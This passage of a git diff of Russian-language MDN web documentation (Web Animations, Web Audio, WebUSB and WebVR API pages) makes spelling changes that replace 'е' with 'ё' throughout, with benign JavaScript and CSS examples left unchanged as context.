-23,7 +23,7 @@ translation_of: Web/API/URL/createObjectURL </dl> <dl> - <dd>Объект типа {{domxref("File")}} или {{domxref("Blob")}} для которого создается URL объект.</dd> + <dd>Объект типа {{domxref("File")}} или {{domxref("Blob")}} для которого создаётся URL объект.</dd> </dl> <ul> @@ -35,7 +35,7 @@ translation_of: Web/API/URL/createObjectURL <h2 id="Заметки">Заметки</h2> -<p>При каждом вызове <code>createObjectURL()</code>, создается новый URL объект, даже если он уже был ранее создан для того же самого объекта. Память для каждого из них нужно освобождать с помощью {{domxref("URL.revokeObjectURL()")}}, в том случае, если они больше не нужны. Браузер сделает это автоматически с выгрузкой объекта, тем не менее в целях оптимизации производительности и использования памяти, следует принудительно выгружать их по возможности.</p> +<p>При каждом вызове <code>createObjectURL()</code>, создаётся новый URL объект, даже если он уже был ранее создан для того же самого объекта. Память для каждого из них нужно освобождать с помощью {{domxref("URL.revokeObjectURL()")}}, в том случае, если они больше не нужны. Браузер сделает это автоматически с выгрузкой объекта, тем не менее в целях оптимизации производительности и использования памяти, следует принудительно выгружать их по возможности.</p> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/usb/requestdevice/index.html b/files/ru/web/api/usb/requestdevice/index.html index bb162ad242..5ec208774e 100644 --- a/files/ru/web/api/usb/requestdevice/index.html +++ b/files/ru/web/api/usb/requestdevice/index.html @@ -43,7 +43,7 @@ translation_of: Web/API/USB/requestDevice <p>Этот пример запрашивает любое из перечисленных USB-устройств. Обратите внимание, указаны два разных PID. Оба присутствуют в списке фильтров для <code>requestDevice()</code>. При этом браузер покажет окно для выбора и подтверждения доступа к устройству. Только выбранное пользователем устройство будет передано в <code>then()</code>.</p> -<p>Количество фильтров не определяет количество устройств, показываемых браузером. Например, если найдено только USB-устройство с product ID <code>0xa800</code>, браузер отобразит только одно устройство. Но, если браузер определит два устройства, совпадающих с первым фильтром, и еще одно, совпадающее со вторым, будут показаны все три устройства.</p> +<p>Количество фильтров не определяет количество устройств, показываемых браузером. Например, если найдено только USB-устройство с product ID <code>0xa800</code>, браузер отобразит только одно устройство. Но, если браузер определит два устройства, совпадающих с первым фильтром, и ещё одно, совпадающее со вторым, будут показаны все три устройства.</p> <pre class="brush: js notranslate">const filters = [ {vendorId: 0x1209, productId: 0xa800}, diff --git a/files/ru/web/api/vrdisplay/requestpresent/index.html b/files/ru/web/api/vrdisplay/requestpresent/index.html index 9537b94035..acdb59197f 100644 --- a/files/ru/web/api/vrdisplay/requestpresent/index.html +++ b/files/ru/web/api/vrdisplay/requestpresent/index.html @@ -27,9 +27,9 @@ translation_of: Web/API/VRDisplay/requestPresent <div> <ul> - <li>Если {{domxref("VRDisplayCapabilities.canPresent")}} ложно или если массив объектов VRLayer содержит более чем {{domxref("VRDisplayCapabilities.maxLayers")}} слоев, произойдёт переход в состояние "отклонено".</li> + <li>Если {{domxref("VRDisplayCapabilities.canPresent")}} ложно или если массив объектов VRLayer содержит более чем {{domxref("VRDisplayCapabilities.maxLayers")}} слоёв, произойдёт переход в состояние "отклонено".</li> <li>Если объект {{domxref("VRDisplay")}} уже отображает сцену, то вызов его метода <code>requestPresent()</code> обновит массив отображаемых <code>VRLayer</code> объектов.</li> - <li>Если объект <code>VRDisplay</code> уже отображает сцену, а вызов метода <code>requestPresent()</code> приведет к возврату Promise в состоянии "отклонено", то отображение сцены прекратится.</li> + <li>Если объект <code>VRDisplay</code> уже отображает сцену, а вызов метода <code>requestPresent()</code> приведёт к возврату Promise в состоянии "отклонено", то отображение сцены прекратится.</li> <li>If <code>requestPresent()</code> is called outside of an engagement gesture the promise will be rejected unless the <code>VRDisplay</code> was already presenting. This engagement gesture is also sufficient to allow <code><a href="/en-US/docs/Web/API/Element/requestPointerLock">requestPointerLock()</a></code> calls until presentation has ended.</li> </ul> </div> diff --git a/files/ru/web/api/vrdisplayevent/index.html b/files/ru/web/api/vrdisplayevent/index.html index 8b8c2bee90..9847e7e521 100644 --- a/files/ru/web/api/vrdisplayevent/index.html +++ b/files/ru/web/api/vrdisplayevent/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/VRDisplayEvent <dl> <dt>{{domxref("VRDisplayEvent.VRDisplayEvent()")}}</dt> - <dd>Создает экземпляр объекта VRDisplayEvent.</dd> + <dd>Создаёт экземпляр объекта VRDisplayEvent.</dd> </dl> <h2 id="Properties">Properties</h2> diff --git a/files/ru/web/api/vrframedata/index.html b/files/ru/web/api/vrframedata/index.html index 5fe9d79079..babe98004a 100644 --- a/files/ru/web/api/vrframedata/index.html +++ b/files/ru/web/api/vrframedata/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/VRFrameData <dl> <dt>{{domxref("VRFrameData.VRFrameData()")}}</dt> - <dd>Создает экземпляр объекта VRFrameData.</dd> + <dd>Создаёт экземпляр объекта VRFrameData.</dd> </dl> <h2 id="Свойства">Свойства</h2> diff --git a/files/ru/web/api/web_animations_api/index.html b/files/ru/web/api/web_animations_api/index.html index bb8ac2a631..7e9f416702 100644 --- a/files/ru/web/api/web_animations_api/index.html +++ b/files/ru/web/api/web_animations_api/index.html @@ -6,7 +6,7 @@ translation_of: Web/API/Web_Animations_API <p>{{DefaultAPISidebar("Веб-анимация")}} {{SeeCompatTable()}}</p> <div class="summary"> -<p>API веб-анимации позволяет синхронизировать и сроки изменения представления веб-страницы, то есть анимации элементов DOM. Она делает это путем объединения двух моделей: Модель синхронизации и анимации модели.</p> +<p>API веб-анимации позволяет синхронизировать и сроки изменения представления веб-страницы, то есть анимации элементов DOM. Она делает это путём объединения двух моделей: Модель синхронизации и анимации модели.</p> </div> <h2 id="Основные_понятия_и_использование_API">Основные понятия и использование API</h2> @@ -28,7 +28,7 @@ translation_of: Web/API/Web_Animations_API <dt>{{Domxref("DocumentTimeline")}}</dt> <dd>Представляет временные рамки анимации, в том числе временные рамки анимации по умолчанию для документа (через свойство {{domxref("Document.timeline")}}).</dd> <dt>{{Domxref("AnimationEffectTiming")}}</dt> - <dd>Объект, содержащий временные свойства, возвращенные {{domxref("KeyframeEffect.timing", "сроки")}} атрибут {{domxref("KeyframeEffect")}}. Он наследует свои свойства от {{domxref("AnimationEffectTimingReadOnly")}}, но в не только чтение формы.</dd> + <dd>Объект, содержащий временные свойства, возвращённые {{domxref("KeyframeEffect.timing", "сроки")}} атрибут {{domxref("KeyframeEffect")}}. Он наследует свои свойства от {{domxref("AnimationEffectTimingReadOnly")}}, но в не только чтение формы.</dd> <dt>{{Domxref("SharedKeyframeList")}}</dt> <dd>Представляет собой последовательность ключевых кадров , которые могут быть разделены между {{domxref("KeyframeEffect")}} объектов. Используя <code>SharedKeyframeList</code>объекты, несколько <code>KeyframeEffect</code>объектов могут повторно использовать одни и те же ключевые кадры , не заплатив стоимость разбора их несколько раз.</dd> <dt>{{domxref("AnimationEffectTimingProperties")}}</dt> @@ -58,7 +58,7 @@ translation_of: Web/API/Web_Animations_API <h2 id="Веб-анимация_для_чтения_только_интерфейсы">Веб-анимация для чтения только интерфейсы</h2> -<p>Следующие интерфейсы включены в спецификации для таких целей, как определение функции, используемые в нескольких других местах, или служить в качестве основы для нескольких интерфейсов, которые могут быть использованы в качестве значений одних и тех же свойств. Вы бы не напрямую использовать их в работе веб-разработки, но они могут быть интересны для авторов библиотеки, чтобы понять, как эта технология работает, так что их реализации могут быть более эффективными, или для инженеров браузеров, которые ищут более легкой ссылки, чем спецификация обеспечивает.</p> +<p>Следующие интерфейсы включены в спецификации для таких целей, как определение функции, используемые в нескольких других местах, или служить в качестве основы для нескольких интерфейсов, которые могут быть использованы в качестве значений одних и тех же свойств. Вы бы не напрямую использовать их в работе веб-разработки, но они могут быть интересны для авторов библиотеки, чтобы понять, как эта технология работает, так что их реализации могут быть более эффективными, или для инженеров браузеров, которые ищут более лёгкой ссылки, чем спецификация обеспечивает.</p> <dl> <dt>{{Domxref("AnimationEffectTimingReadOnly")}}</dt> diff --git a/files/ru/web/api/web_animations_api/using_the_web_animations_api/index.html b/files/ru/web/api/web_animations_api/using_the_web_animations_api/index.html index d050b43cb8..e19524852d 100644 --- a/files/ru/web/api/web_animations_api/using_the_web_animations_api/index.html +++ b/files/ru/web/api/web_animations_api/using_the_web_animations_api/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API --- <p>{{DefaultAPISidebar("Web Animations")}}</p> -<p class="summary">Web Animations API позволяет нам создать анимацию и управлять её воспроизведением с помощью JavaScript. Эта статья будет правильным руководством для старта c веселыми демками и уроками с Алисой в Стране Чудес.</p> +<p class="summary">Web Animations API позволяет нам создать анимацию и управлять её воспроизведением с помощью JavaScript. Эта статья будет правильным руководством для старта c весёлыми демками и уроками с Алисой в Стране Чудес.</p> <h2 id="Встречайте_Web_Animations_API">Встречайте Web Animations API</h2> @@ -18,7 +18,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API <h2 id="Поддержка_Браузеров">Поддержка Браузеров</h2> -<p>Основы и компоненты Web Animations API, описанные в этой статье доступны в Firefox 48+ и Chrome 36+. Webkit и Edge перешли на API соответственно, но пока нет полной поддержки во всех браузерах, есть удобная служба проверки <a href="https://github.com/web-animations/web-animations-js">handy maintained polyfill</a> которая тестирует и добавляет ее при необходимости.</p> +<p>Основы и компоненты Web Animations API, описанные в этой статье доступны в Firefox 48+ и Chrome 36+. Webkit и Edge перешли на API соответственно, но пока нет полной поддержки во всех браузерах, есть удобная служба проверки <a href="https://github.com/web-animations/web-animations-js">handy maintained polyfill</a> которая тестирует и добавляет её при необходимости.</p> <h2 id="Написание_CSS_Animations_вместе_с_Web_Animations_API">Написание CSS Animations вместе с Web Animations API</h2> @@ -26,11 +26,11 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API <h3 id="CSS_версия">CSS версия</h3> -<p>Вот такая анимация написана в CSS, показывающая, как Алиса падает в кроличью нору, которая ведет в страну чудес (см. полный код на<a href="http://codepen.io/rachelnabors/pen/QyOqqW"> Codepen</a>):</p> +<p>Вот такая анимация написана в CSS, показывающая, как Алиса падает в кроличью нору, которая ведёт в страну чудес (см. полный код на<a href="http://codepen.io/rachelnabors/pen/QyOqqW"> Codepen</a>):</p> <p><a href="http://codepen.io/rachelnabors/pen/rxpmJL"><img alt="Alice Tumbling down the rabbit's hole." src="https://mdn.mozillademos.org/files/13843/tumbling-alice_optimized.gif" style="display: block; height: 374px; margin-left: auto; margin-right: auto; width: 700px;"></a></p> -<p>Заметьте, что фон двигается, Алиса крутится и ее цвет меняется при вращении. Мы собираемся сосредоточиться только на Алисе в этом уроке. Вот упрощенный код CSS, который управляет движением Алисы.</p> +<p>Заметьте, что фон двигается, Алиса крутится и её цвет меняется при вращении. Мы собираемся сосредоточиться только на Алисе в этом уроке. Вот упрощённый код CSS, который управляет движением Алисы.</p> <pre class="brush: css notranslate">#alice { animation: aliceTumbling infinite 3s linear; @@ -50,7 +50,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API } }</pre> -<p>Изменение цвета Алисы и ее вращение в течение 3 секунд при постоянной (линейной) скорости и бесконечном цикле. В <a href="/en-US/docs/Web/CSS/@keyframes">@keyframes</a> блоке мы видим, что 30% из всего цикла (около 9 секунд), цвет Алисы меняется от черного до насыщенного бордового, а потом снова в черный к концу цикла.</p> +<p>Изменение цвета Алисы и её вращение в течение 3 секунд при постоянной (линейной) скорости и бесконечном цикле. В <a href="/en-US/docs/Web/CSS/@keyframes">@keyframes</a> блоке мы видим, что 30% из всего цикла (около 9 секунд), цвет Алисы меняется от чёрного до насыщенного бордового, а потом снова в чёрный к концу цикла.</p> <h3 id="Движение_в_JavaScript">Движение в JavaScript</h3> @@ -66,13 +66,13 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API { transform: 'rotate(360deg) translate3D(-50%, -50%, 0)', color: '#000' } ];</pre> -<p>Здесь мы используем массив, содержащий несколько объектов. Каждый объект представляет собой код от оригинального CSS. Однако, в отличие от CSS, Web Animations API не нужно назначать точные проценты по анимации для каждого открывающего кода. Он автоматически разделит анимацию на равные части в соответствии с количеством кодов, которые вы ему даете. Это означает, что объект Keyframe с тремя кодами будет воспроизводить средний код 50% времени через каждый цикл анимации если не указано иное.</p> +<p>Здесь мы используем массив, содержащий несколько объектов. Каждый объект представляет собой код от оригинального CSS. Однако, в отличие от CSS, Web Animations API не нужно назначать точные проценты по анимации для каждого открывающего кода. Он автоматически разделит анимацию на равные части в соответствии с количеством кодов, которые вы ему даёте. Это означает, что объект Keyframe с тремя кодами будет воспроизводить средний код 50% времени через каждый цикл анимации если не указано иное.</p> -<p>Если мы хотим, чтобы определенный набор кода смещался относительного другого кода, мы можем указать смещение непосредственно на объекте который будет меняться, отделив значение запятой. В приведенном выше примере видно, чтобы цвет Алисы менялся на 30%, а не на 50% всего цикла, мы задаем смещение: 0,333.</p> +<p>Если мы хотим, чтобы определённый набор кода смещался относительного другого кода, мы можем указать смещение непосредственно на объекте который будет меняться, отделив значение запятой. В приведённом выше примере видно, чтобы цвет Алисы менялся на 30%, а не на 50% всего цикла, мы задаём смещение: 0,333.</p> <p>Там должно быть как минимум два кадра (представляющих начало и конец анимации). Если в вашем списке keyframe только одна запись, {{domxref("Element.animate()")}} то анимация выполняться не будет, вы получите ошибку NotSupportedError exception.</p> -<p>И так повторим, код равномерно распределен по умолчанию, если не указано смещение. Удобно, не так ли?</p> +<p>И так повторим, код равномерно распределён по умолчанию, если не указано смещение. Удобно, не так ли?</p> <h4 id="Представление_свойства_времени.">Представление свойства времени.</h4> @@ -87,7 +87,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API <ul> <li>Во-первых, длительность в миллисекундах, в отличии от секунд - 3000, а не 3с. Как {{domxref("WindowTimers.setTimeout()")}} и {{domxref("Window.requestAnimationFrame()")}}, Web Animations API использует только миллисекунды.</li> - <li>Во-вторых, что вы заметили, что он итерационный (повторяется), а не счетчик повторений.</li> + <li>Во-вторых, что вы заметили, что он итерационный (повторяется), а не счётчик повторений.</li> </ul> <div class="note"> @@ -96,7 +96,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API <h4 id="Собираем_части_вместе.">Собираем части вместе.</h4> -<p>Сейчас соберем все части вместе используя {{domxref("Element.animate()")}} метод:</p> +<p>Сейчас соберём все части вместе используя {{domxref("Element.animate()")}} метод:</p> <pre class="brush: js notranslate">document.getElementById("alice").animate( aliceTumbling, @@ -105,7 +105,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API <p>И вуаля, анимация работает(смотрите готовый вариант на <a href="http://codepen.io/rachelnabors/pen/rxpmJL">version on Codepen</a>).</p> -<p>The <code>animate()</code> метод может быть применен на любой DOM-элемент, который может быть анимирован с помощью CSS. И он может быть записан несколькими способами. Вместо того, чтобы делить объекты на ключевые кадры и временные характеристики, мы могли бы просто передать свои значения непосредственно вот так:</p> +<p>The <code>animate()</code> метод может быть применён на любой DOM-элемент, который может быть анимирован с помощью CSS. И он может быть записан несколькими способами. Вместо того, чтобы делить объекты на ключевые кадры и временные характеристики, мы могли бы просто передать свои значения непосредственно вот так:</p> <pre class="brush: js notranslate">document.getElementById("alice").animate( [ @@ -118,7 +118,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API } );</pre> -<p>Более того, если мы хотели указать только длительность анимации, а не ее повторение (по умолчанию анимации повторяется один раз), мы могли бы пройтись только по миллисекундам:</p> +<p>Более того, если мы хотели указать только длительность анимации, а не её повторение (по умолчанию анимации повторяется один раз), мы могли бы пройтись только по миллисекундам:</p> <pre class="brush: js notranslate">document.getElementById("alice").animate( [ @@ -133,7 +133,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API <p><a href="http://codepen.io/rachelnabors/pen/PNYGZQ?editors=0010"><img alt="Playing the growing and shrinking game with Alice." src="https://mdn.mozillademos.org/files/13845/growing-shrinking_article_optimized.gif" style="display: block; height: 374px; margin-left: auto; margin-right: auto; width: 700px;"></a></p> -<p>В этой игре Алиса меняется в росте, она то растет, то уменьшается, а контролируем мы этот процесс с помощью бутылки и кекса. Каждый из них имеют свою анимацию.</p> +<p>В этой игре Алиса меняется в росте, она то растёт, то уменьшается, а контролируем мы этот процесс с помощью бутылки и кекса. Каждый из них имеют свою анимацию.</p> <h3 id="Пауза_и_проигрывание_анимации.">Пауза и проигрывание анимации.</h3> @@ -149,7 +149,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API duration: aliceChange.effect.timing.duration / 2 });</pre> -<p>Метод {{domxref("Element.animate()")}} будет выполняться сразу же как начнется игра. Чтобы предотвратить автоматическое поедание кекса до того, как пользователь на него нажмет, мы вызываем {{domxref("Animation.pause()")}} сразу же как игра открывается, например так:</p> +<p>Метод {{domxref("Element.animate()")}} будет выполняться сразу же как начнётся игра. Чтобы предотвратить автоматическое поедание кекса до того, как пользователь на него нажмёт, мы вызываем {{domxref("Animation.pause()")}} сразу же как игра открывается, например так:</p> <pre class="brush: js notranslate">nommingCake.pause();</pre> @@ -180,11 +180,11 @@ cake.addEventListener("touchstart", growAlice, false);</pre> <ul> <li>{{domxref("Animation.finish()")}} перейти в конец анимации.</li> - <li>{{domxref("Animation.cancel()")}} прервать анимацию и удалить ее эффект.</li> - <li>{{domxref("Animation.reverse()")}} устанавливать скорость анимации если установить ({{domxref("Animation.playbackRate")}} отрицательное значение, то анимация пойдет в обратном порядке.</li> + <li>{{domxref("Animation.cancel()")}} прервать анимацию и удалить её эффект.</li> + <li>{{domxref("Animation.reverse()")}} устанавливать скорость анимации если установить ({{domxref("Animation.playbackRate")}} отрицательное значение, то анимация пойдёт в обратном порядке.</li> </ul> -<p>Давайте посмотрим на первый playbackRate— отрицательное значение будет запускать анимацию в обратном направлении. Когда Алиса пьет из бутылки, она становится меньше. Это происходит потому, что бутылка изменяет ее анимацию playbackRate от 1 до -1:</p> +<p>Давайте посмотрим на первый playbackRate— отрицательное значение будет запускать анимацию в обратном направлении. Когда Алиса пьёт из бутылки, она становится меньше. Это происходит потому, что бутылка изменяет её анимацию playbackRate от 1 до -1:</p> <pre class="brush: js notranslate">var shrinkAlice = function() { aliceChange.playbackRate = -1; @@ -194,11 +194,11 @@ cake.addEventListener("touchstart", growAlice, false);</pre> bottle.addEventListener("mousedown", shrinkAlice, false); bottle.addEventListener("touchstart", shrinkAlice, false);</pre> -<p>В <a href="https://en.wikipedia.org/wiki/Through_the_Looking-Glass">Through the Looking-Glass</a>, Алиса путешествует по миру, где должна бежать, чтобы оставаться на месте и бежать в двое быстрее, чтобы двигаться вперед. Например в гонке с Красной королевой, Алиса и Красная королева бегут, чтобы оставаться на месте (проверить полный код можно на <a href="http://codepen.io/rachelnabors/pen/PNGGaV">full code on Codepen</a>):</p> +<p>В <a href="https://en.wikipedia.org/wiki/Through_the_Looking-Glass">Through the Looking-Glass</a>, Алиса путешествует по миру, где должна бежать, чтобы оставаться на месте и бежать в двое быстрее, чтобы двигаться вперёд. Например в гонке с Красной королевой, Алиса и Красная королева бегут, чтобы оставаться на месте (проверить полный код можно на <a href="http://codepen.io/rachelnabors/pen/PNGGaV">full code on Codepen</a>):</p> <p><a href="http://codepen.io/rachelnabors/pen/PNGGaV"><img alt="Alice and the Red Queen race to get to the next square in this game." src="https://mdn.mozillademos.org/files/13847/red-queen-race_optimized.gif" style="display: block; height: 342px; margin-left: auto; margin-right: auto; width: 640px;"></a></p> -<p>Так как маленькие дети легко устают, в отличии от шахматных фигур, Алиса постоянно замедляется. Мы отобразили это в коде путем ослабления (уменьшения скорости) playbackRate анимации.</p> +<p>Так как маленькие дети легко устают, в отличии от шахматных фигур, Алиса постоянно замедляется. Мы отобразили это в коде путём ослабления (уменьшения скорости) playbackRate анимации.</p> <pre class="brush: js notranslate">setInterval( function() { @@ -209,7 +209,7 @@ bottle.addEventListener("touchstart", shrinkAlice, false);</pre> }, 3000);</pre> -<p>Но постоянно нажимая на них мышью, мы заставляем их ускориться путем умножения playbackRate (скорости анимации)</p> +<p>Но постоянно нажимая на них мышью, мы заставляем их ускориться путём умножения playbackRate (скорости анимации)</p> <pre class="brush: js notranslate">var goFaster = function() { @@ -224,7 +224,7 @@ document.addEventListener("touchstart", goFaster);</pre> <h2 id="Получение_информации_из_анимации">Получение информации из анимации</h2> -<p>Представьте, что мы могли бы использовать playbackRate, как улучшения доступности сайта для пользователей с вестибулярными расстройствами, позволяя им замедлить анимацию на всех страницах сайта. Это невозможно сделать с помощью CSS без пересчета длительности в каждом правиле CSS, но с веб-анимации API, мы могли бы использовать в будущем (пока не поддерживается в браузерах!) Метод {{domxref("document.getAnimations()")}} систему циклов по каждой анимации на странице и сократить скорость анимации вот так:</p> +<p>Представьте, что мы могли бы использовать playbackRate, как улучшения доступности сайта для пользователей с вестибулярными расстройствами, позволяя им замедлить анимацию на всех страницах сайта. Это невозможно сделать с помощью CSS без пересчёта длительности в каждом правиле CSS, но с веб-анимации API, мы могли бы использовать в будущем (пока не поддерживается в браузерах!) Метод {{domxref("document.getAnimations()")}} систему циклов по каждой анимации на странице и сократить скорость анимации вот так:</p> <pre class="brush: js notranslate">document.getAnimations().forEach( function (animation) { @@ -250,21 +250,21 @@ document.addEventListener("touchstart", goFaster);</pre> fill: 'both' });</pre> -<p>Изменение размера Алисы в два раза происходит за 8 секунд. Затем мы останавливаем ее:</p> +<p>Изменение размера Алисы в два раза происходит за 8 секунд. Затем мы останавливаем её:</p> <pre class="brush: js notranslate">aliceChange.pause();</pre> -<p>Если бы оставили ее на паузе в начале анимации , то Алиса увеличилась бы в два раза, когда выпила бы всю бутылку. Мы хотим остановить ее анимацию "воспроизведение" в середине, когда она уже на половину выполнена. Мы могли бы это сделать, установив {{domxref("Animation.currentTime")}} 4 секунды, вот так:</p> +<p>Если бы оставили её на паузе в начале анимации , то Алиса увеличилась бы в два раза, когда выпила бы всю бутылку. Мы хотим остановить её анимацию "воспроизведение" в середине, когда она уже на половину выполнена. Мы могли бы это сделать, установив {{domxref("Animation.currentTime")}} 4 секунды, вот так:</p> <pre class="brush: js notranslate">aliceChange.currentTime = 4000;</pre> -<p>Но во время работы над этой анимацией мы можем сильно увеличить ее продолжительность. Разве не лучше установить динамическое изменение времени (currentTime), тогда нам не придется делать два обновления за один раз. Мы можем это сделать с помощью ссылки на изменение свойства размера Алисы (aliceChange) {{domxref("Animation.effect")}} который возвращает все детали и действующие эффекты, содержащиеся в объекте, на Алису:</p> +<p>Но во время работы над этой анимацией мы можем сильно увеличить её продолжительность. Разве не лучше установить динамическое изменение времени (currentTime), тогда нам не придётся делать два обновления за один раз. Мы можем это сделать с помощью ссылки на изменение свойства размера Алисы (aliceChange) {{domxref("Animation.effect")}} который возвращает все детали и действующие эффекты, содержащиеся в объекте, на Алису:</p> <pre class="brush: js notranslate">aliceChange.currentTime = aliceChange.effect.timing.duration / 2;</pre> -<p>эффекты позволяют нам получить доступ к анимации keyframe (кадров) и синхронности объектов - aliceChange.effect.timing , указывающий на время Алисиных элементов (которые имеют тип {{domxref("AnimationEffectTimingReadOnly")}}) — в этом содержится ее {{domxref("AnimationEffectTimingReadOnly.duration")}}. Мы можем распределить ее длительность на два раза, чтобы получить среднюю точку во временной шкале для установки нормального роста.</p> +<p>эффекты позволяют нам получить доступ к анимации keyframe (кадров) и синхронности объектов - aliceChange.effect.timing , указывающий на время Алисиных элементов (которые имеют тип {{domxref("AnimationEffectTimingReadOnly")}}) — в этом содержится её {{domxref("AnimationEffectTimingReadOnly.duration")}}. Мы можем распределить её длительность на два раза, чтобы получить среднюю точку во временной шкале для установки нормального роста.</p> -<p>Теперь мы можем запустить ее в обратном порядке и играться анимацией в любом направлении, чтобы заставить ее расти или уменьшаться</p> +<p>Теперь мы можем запустить её в обратном порядке и играться анимацией в любом направлении, чтобы заставить её расти или уменьшаться</p> <pre class="brush: js notranslate">var drinking = document.getElementById('liquid').animate( [ @@ -280,7 +280,7 @@ drinking.pause();</pre> <p>Теперь все три анимации связаны только с одной продолжительности, и мы можем легко переходить из одного места.</p> -<p>Мы также можем использовать веб-анимации API, чтобы выяснить Текущее время анимации. Игра заканчивается, когда вы бежите от съеденного торта или выпитой бутылки. Изображение у игрока будет зависеть от анимации Алисы. Стала ли она слишком большой на фоне крошечной двери и не может в нее пройти или слишком маленькой и не может достать ключ, чтобы открыть дверь. Мы можем выяснить, стала она большой или маленький в конце ее анимация, получая текущее время ее анимации <code><a href="/en-US/docs/Web/API/Animation/currentTime">currentTime</a></code> и разделив ее на activeDuration:</p> +<p>Мы также можем использовать веб-анимации API, чтобы выяснить Текущее время анимации. Игра заканчивается, когда вы бежите от съеденного торта или выпитой бутылки. Изображение у игрока будет зависеть от анимации Алисы. Стала ли она слишком большой на фоне крошечной двери и не может в неё пройти или слишком маленькой и не может достать ключ, чтобы открыть дверь. Мы можем выяснить, стала она большой или маленький в конце её анимация, получая текущее время её анимации <code><a href="/en-US/docs/Web/API/Animation/currentTime">currentTime</a></code> и разделив её на activeDuration:</p> <pre class="brush: js notranslate">var endGame = function() { @@ -334,7 +334,7 @@ aliceChange.onfinish = endGame; </pre> -<p>Нравится перспектива? Web Animations API также дает две перспективы: <code><a href="/en-US/docs/Web/API/Animation/onfinish">onfinish</a></code> и <code><a href="/en-US/docs/Web/API/Animation/oncancel">oncancel</a></code>.</p> +<p>Нравится перспектива? Web Animations API также даёт две перспективы: <code><a href="/en-US/docs/Web/API/Animation/onfinish">onfinish</a></code> и <code><a href="/en-US/docs/Web/API/Animation/oncancel">oncancel</a></code>.</p> <div class="note"> <p>Эти обещания не полностью поддерживаются в настоящий момент.</p> diff --git a/files/ru/web/api/web_audio_api/index.html b/files/ru/web/api/web_audio_api/index.html index ba3df973e4..cb927ca206 100644 --- a/files/ru/web/api/web_audio_api/index.html +++ b/files/ru/web/api/web_audio_api/index.html @@ -12,7 +12,7 @@ tags: translation_of: Web/API/Web_Audio_API --- <div> -<p>Web audio API - мощный и многогранный инструмент для манипуляции звуковой составляющей на веб-странице, что дает возможность разработчикам выбрать источники, добавить к ним специальные звуковые эффекты (такие как panning), визуализировать их и многое другое.</p> +<p>Web audio API - мощный и многогранный инструмент для манипуляции звуковой составляющей на веб-странице, что даёт возможность разработчикам выбрать источники, добавить к ним специальные звуковые эффекты (такие как panning), визуализировать их и многое другое.</p> </div> <h2 id="Общие_концепции_и_использование_Web_Audio">Общие концепции и использование Web Audio</h2> @@ -52,7 +52,7 @@ translation_of: Web/API/Web_Audio_API <dl> <dt>{{domxref("AudioContext")}}</dt> - <dd>AudioContext представляет собой некий аудио обрабатывающий объект, сооруженный из аудио модулей связанных вместе, где каждый является экземпляром класса {{domxref("AudioNode")}}. AudioContext управляет созданием узлов, содержащихся в нём и выполняет обработку или декодирование аудио данных.</dd> + <dd>AudioContext представляет собой некий аудио обрабатывающий объект, сооружённый из аудио модулей связанных вместе, где каждый является экземпляром класса {{domxref("AudioNode")}}. AudioContext управляет созданием узлов, содержащихся в нём и выполняет обработку или декодирование аудио данных.</dd> <dt>{{domxref("AudioNode")}}</dt> <dd>Интерфейс AudioNode представляет собой некий обрабатывающий модуль такой как источник аудио (то есть HTML <audio> или <video> элемент), конечный аудио объект, модуль непосредственной обработки (например фильтр BiquadFilterNode или звуковой контроллер такой как GainNode).</dd> <dt>{{domxref("AudioParam")}}</dt> @@ -87,7 +87,7 @@ translation_of: Web/API/Web_Audio_API <dt>{{domxref("BiquadFilterNode")}}</dt> <dd><strong><code>BiquadFilterNode </code></strong><code>представляет простой фильтр низкого порядка. Это </code>{{domxref("AudioNode")}} представляющий различные виды фильтров такие как эквалайзер или управление тональностью. <strong><code>BiquadFilterNode</code></strong><code> имеет ровно один вход и один выход.</code></dd> <dt>{{domxref("ConvolverNode")}}</dt> - <dd><code><strong>Convolver</strong></code><strong><code>Node</code></strong><strong> </strong>это <span style="line-height: 1.5;">{{domxref("AudioNode")}} выполняющий линейную свертку </span><span style="line-height: 1.5;">AudioBuffer, часто применяется для достижения эффекта реверберации по заданной импульсной характеристике.</span></dd> + <dd><code><strong>Convolver</strong></code><strong><code>Node</code></strong><strong> </strong>это <span style="line-height: 1.5;">{{domxref("AudioNode")}} выполняющий линейную свёртку </span><span style="line-height: 1.5;">AudioBuffer, часто применяется для достижения эффекта реверберации по заданной импульсной характеристике.</span></dd> <dt>{{domxref("DelayNode")}}</dt> <dd><strong><code>DelayNode</code></strong><strong> </strong>представляет собой линию задержки (<a href="http://en.wikipedia.org/wiki/Digital_delay_line" title="http://en.wikipedia.org/wiki/Digital_delay_line">delay-line</a>); содержит {{domxref("AudioNode")}} вызывающий задержку между выходным и входным сигналом.</dd> <dt>{{domxref("DynamicsCompressorNode")}}</dt> diff --git a/files/ru/web/api/web_audio_api/visualizations_with_web_audio_api/index.html b/files/ru/web/api/web_audio_api/visualizations_with_web_audio_api/index.html index cd2730006c..63e50078b7 100644 --- a/files/ru/web/api/web_audio_api/visualizations_with_web_audio_api/index.html +++ b/files/ru/web/api/web_audio_api/visualizations_with_web_audio_api/index.html @@ -27,10 +27,10 @@ analyser.connect(distortion); distortion.connect(audioCtx.destination);</pre> <div class="note"> -<p><strong>Примечание</strong>: вам не нужно подключать вывод анализатора к другому узлу для его работы, пока его ввод подключен к источнику, либо напрямую, либо через другой узел.</p> +<p><strong>Примечание</strong>: вам не нужно подключать вывод анализатора к другому узлу для его работы, пока его ввод подключён к источнику, либо напрямую, либо через другой узел.</p> </div> -<p>Затем анализатор захватит аудиоданные, используя быстрое преобразование Фурье (БПФ) в определенной частотной области, в зависимости от того, что вы укажете как значение свойства {{ domxref("AnalyserNode.fftSize") }} (если свойство не задано, то значение по умолчанию равно 2048).</p> +<p>Затем анализатор захватит аудиоданные, 